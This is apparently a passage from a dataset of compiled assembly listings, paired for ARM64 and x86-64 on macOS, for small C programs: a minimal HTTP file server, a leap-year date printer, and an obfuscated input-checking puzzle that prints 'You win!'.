str x10, [x9, #8]
str x8, [x9, #16]
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
ldr x8, [sp, #104]
add x0, x8, #1
adrp x1, l_.str.8@PAGE
add x1, x1, l_.str.8@PAGEOFF
bl _fopen
mov x8, x0
str x8, [sp, #128]
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB0_27
b LBB0_26
LBB0_26: ; in Loop: Header=BB0_9 Depth=1
add x0, sp, #176
str x0, [sp, #64] ; 8-byte Folded Spill
mov w1, #0
mov x2, #10000
adrp x3, l_.str.9@PAGE
add x3, x3, l_.str.9@PAGEOFF
bl ___sprintf_chk
ldr x0, [sp, #64] ; 8-byte Folded Reload
ldr w8, [sp, #148]
str w8, [sp, #76] ; 4-byte Folded Spill
bl _strlen
ldr x1, [sp, #64] ; 8-byte Folded Reload
mov x2, x0
ldr w0, [sp, #76] ; 4-byte Folded Reload
bl _write
b LBB0_31
LBB0_27: ; in Loop: Header=BB0_9 Depth=1
add x0, sp, #176
str x0, [sp, #48] ; 8-byte Folded Spill
mov w1, #0
str w1, [sp, #36] ; 4-byte Folded Spill
mov x2, #10000
str x2, [sp, #40] ; 8-byte Folded Spill
adrp x3, l_.str.10@PAGE
add x3, x3, l_.str.10@PAGEOFF
bl ___sprintf_chk
ldr x0, [sp, #48] ; 8-byte Folded Reload
ldr w8, [sp, #148]
str w8, [sp, #32] ; 4-byte Folded Spill
bl _strlen
ldr x1, [sp, #48] ; 8-byte Folded Reload
mov x2, x0
ldr w0, [sp, #32] ; 4-byte Folded Reload
bl _write
ldr x0, [sp, #128]
mov x1, #0
mov w2, #2
bl _fseek
ldr x0, [sp, #128]
bl _ftell
mov x8, x0
str w8, [sp, #140]
ldr x0, [sp, #128]
bl _rewind
ldr w1, [sp, #36] ; 4-byte Folded Reload
ldr x2, [sp, #40] ; 8-byte Folded Reload
ldr x0, [sp, #48] ; 8-byte Folded Reload
ldr w9, [sp, #140]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x3, l_.str.11@PAGE
add x3, x3, l_.str.11@PAGEOFF
bl ___sprintf_chk
ldr x0, [sp, #48] ; 8-byte Folded Reload
ldr w8, [sp, #148]
str w8, [sp, #60] ; 4-byte Folded Spill
bl _strlen
ldr x1, [sp, #48] ; 8-byte Folded Reload
mov x2, x0
ldr w0, [sp, #60] ; 4-byte Folded Reload
bl _write
b LBB0_28
LBB0_28: ; Parent Loop BB0_9 Depth=1
; => This Inner Loop Header: Depth=2
ldr x0, [sp, #128]
bl _fgetc
str w0, [sp, #136]
adds w8, w0, #1
cset w8, eq
tbnz w8, #0, LBB0_30
b LBB0_29
LBB0_29: ; in Loop: Header=BB0_28 Depth=2
ldr w0, [sp, #148]
add x1, sp, #136
mov x2, #1
bl _write
b LBB0_28
LBB0_30: ; in Loop: Header=BB0_9 Depth=1
ldr x0, [sp, #128]
bl _fclose
b LBB0_31
LBB0_31: ; in Loop: Header=BB0_9 Depth=1
ldr w0, [sp, #148]
bl _close
b LBB0_9
LBB0_32:
ldr w8, [sp, #172]
str w8, [sp, #28] ; 4-byte Folded Spill
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_34
b LBB0_33
LBB0_33:
bl ___stack_chk_fail
LBB0_34:
ldr w0, [sp, #28] ; 4-byte Folded Reload
add sp, sp, #3, lsl #12 ; =12288
add sp, sp, #2928
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Socket fallita"
l_.str.1: ; @.str.1
.asciz "setsockopt fallita"
l_.str.2: ; @.str.2
.asciz "bind fallita"
l_.str.3: ; @.str.3
.asciz "Listen Fallita"
l_.str.4: ; @.str.4
.asciz "Accept Fallita"
l_.str.5: ; @.str.5
.asciz "Read fallita"
l_.str.6: ; @.str.6
.asciz "%s"
l_.str.7: ; @.str.7
.asciz "method=%s path=%s ver=%s\n"
l_.str.8: ; @.str.8
.asciz "rt"
l_.str.9: ; @.str.9
.asciz "HTTP/1.1 404 Not Found\r\n\r\n"
l_.str.10: ; @.str.10
.asciz "HTTP/1.1 200 OK\r\n"
l_.str.11: ; @.str.11
.asciz "Content-Length: %d\r\n\r\n"
.comm _tmp,4,2 ; @tmp
.comm _h,1600,3 ; @h
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $15168, %eax ## imm = 0x3B40
callq ____chkstk_darwin
subq %rax, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -15044(%rbp)
movl $1, -15092(%rbp)
movl $2, %edi
movl $1, %esi
xorl %edx, %edx
callq _socket
movl %eax, -15060(%rbp)
cmpl $-1, -15060(%rbp)
jne LBB0_2
## %bb.1:
leaq L_.str(%rip), %rdi
callq _perror
movl $1, -15044(%rbp)
jmp LBB0_32
LBB0_2:
movb $2, -23(%rbp)
movw $-16864, -22(%rbp) ## imm = 0xBE20
movl $0, -20(%rbp)
movl -15060(%rbp), %edi
leaq -15092(%rbp), %rcx
movl $65535, %esi ## imm = 0xFFFF
movl $4, %r8d
movl %r8d, %edx
callq _setsockopt
movl %eax, -15064(%rbp)
cmpl $-1, -15064(%rbp)
jne LBB0_4
## %bb.3:
leaq L_.str.1(%rip), %rdi
callq _perror
movl $1, -15044(%rbp)
jmp LBB0_32
LBB0_4:
movl -15060(%rbp), %edi
leaq -24(%rbp), %rsi
movl $16, %edx
callq _bind
cmpl $-1, %eax
jne LBB0_6
## %bb.5:
leaq L_.str.2(%rip), %rdi
callq _perror
movl $1, -15044(%rbp)
jmp LBB0_32
LBB0_6:
movl -15060(%rbp), %edi
movl $5, %esi
callq _listen
cmpl $-1, %eax
jne LBB0_8
## %bb.7:
leaq L_.str.3(%rip), %rdi
callq _perror
movl $1, -15044(%rbp)
jmp LBB0_32
LBB0_8:
movl $16, -15072(%rbp)
LBB0_9: ## =>This Loop Header: Depth=1
## Child Loop BB0_14 Depth 2
## Child Loop BB0_18 Depth 2
## Child Loop BB0_22 Depth 2
## Child Loop BB0_28 Depth 2
movl -15060(%rbp), %edi
leaq -40(%rbp), %rsi
leaq -15072(%rbp), %rdx
callq _accept
movl %eax, -15068(%rbp)
cmpl $-1, -15068(%rbp)
jne LBB0_11
## %bb.10:
leaq L_.str.4(%rip), %rdi
callq _perror
movl $1, -15044(%rbp)
jmp LBB0_32
LBB0_11: ## in Loop: Header=BB0_9 Depth=1
movl -15068(%rbp), %edi
leaq -5040(%rbp), %rsi
movl $4999, %edx ## imm = 0x1387
callq _read
## kill: def $eax killed $eax killed $rax
movl %eax, -15064(%rbp)
cmpl $-1, -15064(%rbp)
jne LBB0_13
## %bb.12:
leaq L_.str.5(%rip), %rdi
callq _perror
movl $1, -15044(%rbp)
jmp LBB0_32
LBB0_13: ## in Loop: Header=BB0_9 Depth=1
movslq -15064(%rbp), %rax
movb $0, -5040(%rbp,%rax)
leaq -5040(%rbp), %rsi
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
leaq -5040(%rbp), %rax
movq %rax, -15104(%rbp)
movl $0, -15048(%rbp)
LBB0_14: ## Parent Loop BB0_9 Depth=1
## => This Inner Loop Header: Depth=2
movslq -15048(%rbp), %rax
movsbl -5040(%rbp,%rax), %eax
cmpl $32, %eax
je LBB0_17
## %bb.15: ## in Loop: Header=BB0_14 Depth=2
jmp LBB0_16
LBB0_16: ## in Loop: Header=BB0_14 Depth=2
movl -15048(%rbp), %eax
addl $1, %eax
movl %eax, -15048(%rbp)
jmp LBB0_14
LBB0_17: ## in Loop: Header=BB0_9 Depth=1
movslq -15048(%rbp), %rax
movb $0, -5040(%rbp,%rax)
leaq -5040(%rbp), %rax
movslq -15048(%rbp), %rcx
addq %rcx, %rax
addq $1, %rax
movq %rax, -15112(%rbp)
movl -15048(%rbp), %eax
addl $1, %eax
movl %eax, -15048(%rbp)
LBB0_18: ## Parent Loop BB0_9 Depth=1
## => This Inner Loop Header: Depth=2
movslq -15048(%rbp), %rax
movsbl -5040(%rbp,%rax), %eax
cmpl $32, %eax
je LBB0_21
## %bb.19: ## in Loop: Header=BB0_18 Depth=2
jmp LBB0_20
LBB0_20: ## in Loop: Header=BB0_18 Depth=2
movl -15048(%rbp), %eax
addl $1, %eax
movl %eax, -15048(%rbp)
jmp LBB0_18
LBB0_21: ## in Loop: Header=BB0_9 Depth=1
movslq -15048(%rbp), %rax
movb $0, -5040(%rbp,%rax)
leaq -5040(%rbp), %rax
movslq -15048(%rbp), %rcx
addq %rcx, %rax
addq $1, %rax
movq %rax, -15120(%rbp)
movl -15048(%rbp), %eax
addl $1, %eax
movl %eax, -15048(%rbp)
LBB0_22: ## Parent Loop BB0_9 Depth=1
## => This Inner Loop Header: Depth=2
movslq -15048(%rbp), %rax
movsbl -5040(%rbp,%rax), %eax
cmpl $13, %eax
je LBB0_25
## %bb.23: ## in Loop: Header=BB0_22 Depth=2
jmp LBB0_24
LBB0_24: ## in Loop: Header=BB0_22 Depth=2
movl -15048(%rbp), %eax
addl $1, %eax
movl %eax, -15048(%rbp)
jmp LBB0_22
LBB0_25: ## in Loop: Header=BB0_9 Depth=1
movslq -15048(%rbp), %rax
movb $0, -5040(%rbp,%rax)
movq -15104(%rbp), %rsi
movq -15112(%rbp), %rdx
movq -15120(%rbp), %rcx
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
movq -15112(%rbp), %rdi
addq $1, %rdi
leaq L_.str.8(%rip), %rsi
callq _fopen
movq %rax, -15088(%rbp)
cmpq $0, %rax
jne LBB0_27
## %bb.26: ## in Loop: Header=BB0_9 Depth=1
leaq -15040(%rbp), %rdi
xorl %esi, %esi
movl $10000, %edx ## imm = 0x2710
leaq L_.str.9(%rip), %rcx
movb $0, %al
callq ___sprintf_chk
movl -15068(%rbp), %eax
movl %eax, -15132(%rbp) ## 4-byte Spill
leaq -15040(%rbp), %rax
movq %rax, -15128(%rbp) ## 8-byte Spill
leaq -15040(%rbp), %rdi
callq _strlen
movl -15132(%rbp), %edi ## 4-byte Reload
movq -15128(%rbp), %rsi ## 8-byte Reload
movq %rax, %rdx
callq _write
jmp LBB0_31
LBB0_27: ## in Loop: Header=BB0_9 Depth=1
leaq -15040(%rbp), %rdi
xorl %esi, %esi
movl $10000, %edx ## imm = 0x2710
leaq L_.str.10(%rip), %rcx
movb $0, %al
callq ___sprintf_chk
movl -15068(%rbp), %eax
movl %eax, -15164(%rbp) ## 4-byte Spill
leaq -15040(%rbp), %rax
movq %rax, -15160(%rbp) ## 8-byte Spill
leaq -15040(%rbp), %rdi
callq _strlen
movl -15164(%rbp), %edi ## 4-byte Reload
movq -15160(%rbp), %rsi ## 8-byte Reload
movq %rax, %rdx
callq _write
movq -15088(%rbp), %rdi
xorl %eax, %eax
movl %eax, %esi
movl $2, %edx
callq _fseek
movq -15088(%rbp), %rdi
callq _ftell
## kill: def $eax killed $eax killed $rax
movl %eax, -15076(%rbp)
movq -15088(%rbp), %rdi
callq _rewind
leaq -15040(%rbp), %rdi
movl -15076(%rbp), %r8d
xorl %esi, %esi
movl $10000, %edx ## imm = 0x2710
leaq L_.str.11(%rip), %rcx
movb $0, %al
callq ___sprintf_chk
movl -15068(%rbp), %eax
movl %eax, -15148(%rbp) ## 4-byte Spill
leaq -15040(%rbp), %rax
movq %rax, -15144(%rbp) ## 8-byte Spill
leaq -15040(%rbp), %rdi
callq _strlen
movl -15148(%rbp), %edi ## 4-byte Reload
movq -15144(%rbp), %rsi ## 8-byte Reload
movq %rax, %rdx
callq _write
LBB0_28: ## Parent Loop BB0_9 Depth=1
## => This Inner Loop Header: Depth=2
movq -15088(%rbp), %rdi
callq _fgetc
movl %eax, -15080(%rbp)
cmpl $-1, %eax
je LBB0_30
## %bb.29: ## in Loop: Header=BB0_28 Depth=2
movl -15068(%rbp), %edi
leaq -15080(%rbp), %rsi
movl $1, %edx
callq _write
jmp LBB0_28
LBB0_30: ## in Loop: Header=BB0_9 Depth=1
movq -15088(%rbp), %rdi
callq _fclose
LBB0_31: ## in Loop: Header=BB0_9 Depth=1
movl -15068(%rbp), %edi
callq _close
jmp LBB0_9
LBB0_32:
movl -15044(%rbp), %eax
movl %eax, -15168(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_34
## %bb.33:
movl -15168(%rbp), %eax ## 4-byte Reload
addq $15168, %rsp ## imm = 0x3B40
popq %rbp
retq
LBB0_34:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Socket fallita"
L_.str.1: ## @.str.1
.asciz "setsockopt fallita"
L_.str.2: ## @.str.2
.asciz "bind fallita"
L_.str.3: ## @.str.3
.asciz "Listen Fallita"
L_.str.4: ## @.str.4
.asciz "Accept Fallita"
L_.str.5: ## @.str.5
.asciz "Read fallita"
L_.str.6: ## @.str.6
.asciz "%s"
L_.str.7: ## @.str.7
.asciz "method=%s path=%s ver=%s\n"
L_.str.8: ## @.str.8
.asciz "rt"
L_.str.9: ## @.str.9
.asciz "HTTP/1.1 404 Not Found\r\n\r\n"
L_.str.10: ## @.str.10
.asciz "HTTP/1.1 200 OK\r\n"
L_.str.11: ## @.str.11
.asciz "Content-Length: %d\r\n\r\n"
.comm _tmp,4,2 ## @tmp
.comm _h,1600,4 ## @h
.subsections_via_symbols
| the_stack_data/485739.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/244367.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
mov x9, sp
add x8, sp, #8
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
ldr w8, [sp, #8]
subs w8, w8, #1917
cset w8, ge
tbnz w8, #0, LBB0_5
b LBB0_1
LBB0_1:
ldr w8, [sp, #8]
mov w10, #4
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2:
ldr w9, [sp, #8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
b LBB0_4
LBB0_3:
ldr w9, [sp, #8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB0_4
LBB0_4:
b LBB0_16
LBB0_5:
ldr w8, [sp, #8]
subs w8, w8, #1918
cset w8, ne
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
b LBB0_15
LBB0_7:
ldr w8, [sp, #8]
mov w10, #4
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_10
b LBB0_8
LBB0_8:
ldr w8, [sp, #8]
mov w10, #100
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_10
b LBB0_9
LBB0_9:
ldr w9, [sp, #8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
b LBB0_14
LBB0_10:
ldr w8, [sp, #8]
mov w10, #400
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_12
b LBB0_11
LBB0_11:
ldr w9, [sp, #8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
b LBB0_13
LBB0_12:
ldr w9, [sp, #8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB0_13
LBB0_13:
b LBB0_14
LBB0_14:
b LBB0_15
LBB0_15:
b LBB0_16
LBB0_16:
mov w0, #0
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
l_.str.1: ; @.str.1
.asciz "12.09.%d"
l_.str.2: ; @.str.2
.asciz "13.09.%d"
l_.str.3: ; @.str.3
.asciz "26.09.1918"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
cmpl $1917, -8(%rbp) ## imm = 0x77D
jge LBB0_5
## %bb.1:
movl -8(%rbp), %eax
movl $4, %ecx
cltd
idivl %ecx
cmpl $0, %edx
jne LBB0_3
## %bb.2:
movl -8(%rbp), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_4
LBB0_3:
movl -8(%rbp), %esi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
LBB0_4:
jmp LBB0_16
LBB0_5:
cmpl $1918, -8(%rbp) ## imm = 0x77E
jne LBB0_7
## %bb.6:
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_15
LBB0_7:
movl -8(%rbp), %eax
movl $4, %ecx
cltd
idivl %ecx
cmpl $0, %edx
jne LBB0_10
## %bb.8:
movl -8(%rbp), %eax
movl $100, %ecx
cltd
idivl %ecx
cmpl $0, %edx
je LBB0_10
## %bb.9:
movl -8(%rbp), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_14
LBB0_10:
movl -8(%rbp), %eax
movl $400, %ecx ## imm = 0x190
cltd
idivl %ecx
cmpl $0, %edx
jne LBB0_12
## %bb.11:
movl -8(%rbp), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_13
LBB0_12:
movl -8(%rbp), %esi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
LBB0_13:
jmp LBB0_14
LBB0_14:
jmp LBB0_15
LBB0_15:
jmp LBB0_16
LBB0_16:
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
L_.str.1: ## @.str.1
.asciz "12.09.%d"
L_.str.2: ## @.str.2
.asciz "13.09.%d"
L_.str.3: ## @.str.3
.asciz "26.09.1918"
.subsections_via_symbols
| the_stack_data/150144019.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _megaInit ; -- Begin function megaInit
.p2align 2
_megaInit: ; @megaInit
.cfi_startproc
; %bb.0:
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
stur wzr, [x29, #-28]
stur w0, [x29, #-32]
str x1, [sp, #40]
bl _megaInit
ldur w8, [x29, #-32]
subs w8, w8, #2
cset w8, eq
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
mov x9, sp
mov x8, #1
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov w0, #-1
bl _exit
LBB1_2:
b LBB1_3
LBB1_3:
str wzr, [sp, #36]
b LBB1_4
LBB1_4: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #36]
subs w8, w8, #1
cset w8, ge
tbnz w8, #0, LBB1_6
b LBB1_5
LBB1_5: ; in Loop: Header=BB1_4 Depth=1
ldr x8, [sp, #40]
ldr w9, [sp, #36]
add w9, w9, #1
ldr x0, [x8, w9, sxtw #3]
mov x1, #0
mov w2, #10
bl _strtoul
str x0, [sp, #24]
ldr x8, [sp, #24]
ldrsw x10, [sp, #36]
sub x9, x29, #16
str x8, [x9, x10, lsl #3]
ldr w8, [sp, #36]
add w8, w8, #1
str w8, [sp, #36]
b LBB1_4
LBB1_6:
sub x0, x29, #16
sub x1, x29, #24
bl _RandomFunc
ldur x8, [x29, #-24]
mov x9, #44933
movk x9, #9077, lsl #16
movk x9, #858, lsl #32
movk x9, #62186, lsl #48
subs x8, x8, x9
cset w8, ne
tbnz w8, #0, LBB1_8
b LBB1_7
LBB1_7:
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
b LBB1_9
LBB1_8:
b LBB1_9
LBB1_9:
str wzr, [sp, #20]
b LBB1_10
LBB1_10: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #20]
subs w8, w8, #1
cset w8, ge
tbnz w8, #0, LBB1_12
b LBB1_11
LBB1_11: ; in Loop: Header=BB1_10 Depth=1
ldrsw x9, [sp, #20]
sub x8, x29, #24
ldr x8, [x8, x9, lsl #3]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB1_10
LBB1_12:
ldur w8, [x29, #-28]
str w8, [sp, #16] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB1_14
b LBB1_13
LBB1_13:
bl ___stack_chk_fail
LBB1_14:
ldr w0, [sp, #16] ; 4-byte Folded Reload
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.globl _RandomFunc ; -- Begin function RandomFunc
.p2align 2
_RandomFunc: ; @RandomFunc
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str x0, [sp, #24]
str x1, [sp, #16]
ldr x8, [sp, #24]
ldr x8, [x8]
mov x9, #26986
movk x9, #13958, lsl #16
add x8, x8, x9
mov x9, #-65525
movk x9, #52829, lsl #16
eor x8, x8, x9
stur x8, [x29, #-16]
str xzr, [sp, #8]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
subs x8, x8, #1
cset w8, hs
tbnz w8, #0, LBB2_9
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldur x8, [x29, #-16]
ldr x9, [sp, #8]
subs x8, x8, x9
cset w8, ls
tbnz w8, #0, LBB2_4
b LBB2_3
LBB2_3: ; in Loop: Header=BB2_1 Depth=1
ldr x10, [sp, #8]
sub x9, x29, #16
mov x8, x9
add x8, x8, x10, lsl #3
ldrh w8, [x8]
strh w8, [sp, #6]
ldr x10, [sp, #8]
mov x8, x9
add x8, x8, x10, lsl #3
ldrh w8, [x8, #2]
ldr x11, [sp, #8]
mov x10, x9
add x10, x10, x11, lsl #3
strh w8, [x10]
ldrh w8, [sp, #6]
ldr x10, [sp, #8]
add x9, x9, x10, lsl #3
strh w8, [x9, #2]
b LBB2_5
LBB2_4: ; in Loop: Header=BB2_1 Depth=1
ldur w8, [x29, #-12]
str w8, [sp]
ldur w8, [x29, #-16]
stur w8, [x29, #-12]
ldr w8, [sp]
stur w8, [x29, #-16]
b LBB2_5
LBB2_5: ; in Loop: Header=BB2_1 Depth=1
ldur x8, [x29, #-16]
ldr x9, [sp, #8]
subs x8, x8, x9
cset w8, ne
tbnz w8, #0, LBB2_7
b LBB2_6
LBB2_6: ; in Loop: Header=BB2_1 Depth=1
sub x8, x29, #16
ldur x9, [x29, #-16]
and x10, x9, #0x7
ldr x9, [sp, #8]
add x9, x8, x9, lsl #3
ldr x8, [x9]
orr x8, x8, x10, lsl #2
str x8, [x9]
b LBB2_8
LBB2_7: ; in Loop: Header=BB2_1 Depth=1
ldr x9, [sp, #8]
sub x8, x29, #16
ldr x8, [x8, x9, lsl #3]
and x9, x8, #0x7
ldur x8, [x29, #-16]
orr x8, x8, x9, lsl #2
stur x8, [x29, #-16]
b LBB2_8
LBB2_8: ; in Loop: Header=BB2_1 Depth=1
ldr x8, [sp, #8]
add x8, x8, #1
str x8, [sp, #8]
b LBB2_1
LBB2_9:
ldur x8, [x29, #-16]
mov x9, #57753
movk x9, #8379, lsl #16
mul x8, x8, x9
mov x9, #62270
movk x9, #8151, lsl #16
add x8, x8, x9
ldr x9, [sp, #16]
str x8, [x9]
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB2_11
b LBB2_10
LBB2_10:
bl ___stack_chk_fail
LBB2_11:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Call this program with %i arguments\n"
l_.str.1: ; @.str.1
.asciz "You win!\n"
l_.str.2: ; @.str.2
.asciz "%lu\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _megaInit ## -- Begin function megaInit
.p2align 4, 0x90
_megaInit: ## @megaInit
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -28(%rbp)
movl %edi, -32(%rbp)
movq %rsi, -40(%rbp)
callq _megaInit
cmpl $2, -32(%rbp)
je LBB1_2
## %bb.1:
leaq L_.str(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
movl $1, %esi
callq _printf
movl $-1, %edi
callq _exit
LBB1_2:
jmp LBB1_3
LBB1_3:
movl $0, -44(%rbp)
LBB1_4: ## =>This Inner Loop Header: Depth=1
cmpl $1, -44(%rbp)
jge LBB1_6
## %bb.5: ## in Loop: Header=BB1_4 Depth=1
movq -40(%rbp), %rax
movl -44(%rbp), %ecx
addl $1, %ecx
movslq %ecx, %rcx
movq (%rax,%rcx,8), %rdi
xorl %eax, %eax
movl %eax, %esi
movl $10, %edx
callq _strtoul
movq %rax, -56(%rbp)
movq -56(%rbp), %rcx
movslq -44(%rbp), %rax
movq %rcx, -16(%rbp,%rax,8)
movl -44(%rbp), %eax
addl $1, %eax
movl %eax, -44(%rbp)
jmp LBB1_4
LBB1_6:
leaq -16(%rbp), %rdi
leaq -24(%rbp), %rsi
callq _RandomFunc
movabsq $-942937486303842427, %rax ## imm = 0xF2EA035A2375AF85
cmpq %rax, -24(%rbp)
jne LBB1_8
## %bb.7:
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB1_9
LBB1_8:
jmp LBB1_9
LBB1_9:
movl $0, -60(%rbp)
LBB1_10: ## =>This Inner Loop Header: Depth=1
cmpl $1, -60(%rbp)
jge LBB1_12
